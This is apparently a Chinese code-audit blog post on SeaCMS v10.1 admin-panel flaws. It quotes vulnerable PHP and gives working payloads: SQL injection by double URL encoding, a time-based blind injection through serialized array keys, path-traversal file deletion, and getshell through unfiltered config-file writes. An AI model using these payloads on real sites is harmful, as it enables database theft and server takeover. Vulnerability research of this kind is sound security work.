seacms v10.1 代码审计
前言
seacms的后台目录名是安装时随机生成的
后台SQL注入
漏洞点位于/{admin-path}/admin_collect.php
,该处注入的成因主要是因为对变量进行了url解码,导致可以通过二次url编码绕过waf,,漏洞代码
先判断设置的采集规则名称是否存在,不存在则进入insert
分支
INSERT INTO `sea_co_type`(`cid`,`tname`,`siteurl`,`getherday`,`coding`,`sock`,`playfrom`,`autocls`,`classid`,`addtime`,`listconfig`)VALUES ('$id','$itemname','$siteurl','$getherday','$coding','$sock','$playfrom','$autocls','$classid','".time()."','$listconfig')
sql语句长这样,更新的值基本都是我们可控的,但是程序对输入的值做了转义处理,也就导致我们无法正常闭合sql语句。但是因为对$listconfig
的url解码,使得我们可以通过二次url编码绕过转义。payload构造如下
listconfig=1%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
如果规则存在,则会进入update
分支
update `sea_co_type` set `cid`='$id',`tname`='$itemname',`siteurl`='$siteurl',`getherday`='$getherday',`coding`='$coding',`sock`='$sock',`playfrom`='$playfrom',`autocls`='$autocls',`classid`='$classid',`addtime`='".time()."',`listconfig`='$listconfig' where tid='$tid'
还是同理,简单构造一下
1%2527 or updatexml(1,concat(0x7e,(database())),0) or%2527
后台SQL注入
漏洞点位于/{admin-path}/admin_collect_news.php
,结合代码来看
elseif($action=="importok")
{
$importrule = trim($importrule);
if(empty($importrule))
{
ShowMsg("规则内容为空!","-1");
exit();
}
//对Base64格式的规则进行解码
if(m_ereg('^BASE64:',$importrule))
{
if(!m_ereg(':END$',$importrule))
{
ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
exit();
}
$importrules = explode(':',$importrule);
$importrule = $importrules[1];
$importrule = unserialize(base64_decode($importrule)) OR die('配置字符串有错误!');
//die(base64_decode($importrule));
}
else
{
ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
exit();
}
if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
{
ShowMsg('该规则不合法,无法导入!','-1');
exit();
}
$data = $importrule['config'];
unset($data['cid']);
$data['cname'].="(导入时间:".date("Y-m-d H:i:s").")";
$data['cotype'] = '1';
$sql = si("sea_co_config",$data,1);
$dsql->ExecuteNoneQuery($sql);
可以看到在atcion importok中,有一个$importrule
,根据检查代码,可知其格式应为BASE64:base64编码后的序列化字符串:END
,随后对其进行解码和反序列化,得到配置数组,配置数组需要满足一些条件才能使程序继续运行
- 存在
config
键,对应值是一个数组 - 存在
type
键,对应值也是一个数组
然后将config
键对应的数组赋给$data
,再给$data
数组添加cname cotype
两个键,随后调用si
方法组装sql语句,跟进si
方法
function si($table, $data, $needQs=false)
{
var_dump($data);
if (count($data)>1)
{
$t1 = $t2 = array();
$i=0;
foreach($data as $key=>$value)
{
if($i!=0&&$i%2==0)
{
$t1[] = $key;
$t2[] = $needQs?qs($value):"'$value'";
}
$i+=1;
}
$sql = "INSERT INTO `$table` (`".implode("`,`",$t1)."`) VALUES(".implode(",",$t2).")";
var_dump($sql);
}
else
{
$arr = array_keys($data);
$feild = $arr[0];
$value = $data[$feild];
$value = $needQs?qs($value):"'$value'";
$sql = "INSERT INTO `$table` (`$feild`) VALUES ($value)";
}
return $sql;
}
该方法的作用就是将$data
的键和值,插入到insert
语句中,组装出完整语句。但要注意的是,不是每个键值对都会被插入进去,只有元素在数据中的位置(从0开始)非0且为偶数位时才会被插入。还需要注意的是$needQs
,这个变量值标志是否会转义键值对中的值,在这里该变量值是被显式传入的,所以会对值进行转义,但是键并不会进行转义,所以我们可以利用键来注入。该处没有回显,所以决定使用时间盲注,构造一下POC
base64_encode(serialize(["config"=>["a"=>"1","b"=>"2","cname`) values ('1' and if(ascii(substr(database(),1,1))>1,sleep(3),0))#"=>"3"],"type"=>[]]));
这里的a,b是为了让恶意键值对排到偶数位,还要注意的是,这里的恶意键值对的开头的键名需要是sea_co_config
中存在的,这里选择的是cname
延时成功
后台SQL注入
漏洞点位于/{admin-path}/comment.php
,该页面是评论管理页面,先看代码
elseif($action=="delallcomment")
{
if(empty($e_id))
{
ShowMsg("请选择需要删除的评论","-1");
exit();
}
$ids = implode(',',$e_id);
delcommentcache($ids);
$dsql->ExecuteNoneQuery("delete from sea_comment where id in(".$ids.")");
ShowMsg("成功删除所选评论!","admin_comment.php");
exit();
}
在action delallcomment中,会将$e_id
转换为字符串,然后赋给$ids
,跟进delcommentcache
方法
function delcommentcache($id)
{
global $dsql;
$dsql->setQuery("select v_id from sea_comment where id in (".$id.")");
$dsql->Execute("delcommentcache");
while($row = $dsql->GetArray("delcommentcache"))
{
if(file_exists(sea_DATA.'/cache/review/0/'.$row['v_id'].'.js'))
{
delfile(sea_DATA.'/cache/review/0/'.$row['v_id'].'.js');
}
}
}
这里直接将$ids
拼接进了SQL语句,虽然框架对传入参数做了转义处理,但是该语句使用括号包裹参数值,而括号并不会被转义。我们只要传入一个数组格式的e_id
就能进行注入了,不过该操作需要有评论存在,本地环境没有评论,就懒得复现了。
后台任意文件删除
漏洞点位于{admin-path}/admin_template.php
,看代码
elseif($action=='del')
{
if($filedir == '')
{
ShowMsg('未指定要删除的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
unlink($filedir);
ShowMsg("操作成功!","admin_template.php?path=".$folder);
exit;
}
先判断传入路径是否为空,然后截取路径前十一位与$dirTemplate
对比
$dirTemplate="../templets";
然后判断文件夹是否存在,最后删除文件。这里并没有对../
进行过滤,就可以利用其进行目录穿越实现任意文件删除
数据库备份getshell
黑盒测出来的
随便选择一个数据表,然后备份,会生成一个新文件夹
这里看到config.php
$tb[sea_admin]
,这个键名就是我们传入的表名,那么将表名改成恶意代码,就可以RCE了
后台GETSHELL
漏洞点位于/{admin-path}/admin_ip.php
,看代码
if($action=="set")
{
$v= $_POST['v'];
$ip = $_POST['ip'];
$open=fopen("../data/admin/ip.php","w" );
$str='<?php ';
$str.='$v = "';
$str.="$v";
$str.='"; ';
$str.='$ip = "';
$str.="$ip";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
}
可以看到,对POST的v
和ip
未作任何过滤直接写入ip.php
,构造POC
后台GETSHELL
漏洞点位于/{admin-path}/admin_notify.php
,原理跟上面一模一样
if($action=="set")
{
$notify1= $_POST['notify1'];
$notify2= $_POST['notify2'];
$notify3= $_POST['notify3'];
$open=fopen("../data/admin/notify.php","w" );
$str='<?php ';
$str.='$notify1 = "';
$str.="$notify1";
$str.='"; ';
$str.='$notify2 = "';
$str.="$notify2";
$str.='"; ';
$str.='$notify3 = "';
$str.="$notify3";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_notify.php");
exit;
}
还有admin_ping.php admin_smtp.php admin_weixin.php
也存在该漏洞
参考文章
https://y4er.com/post/seacmsv72-anyfile-del-getshell/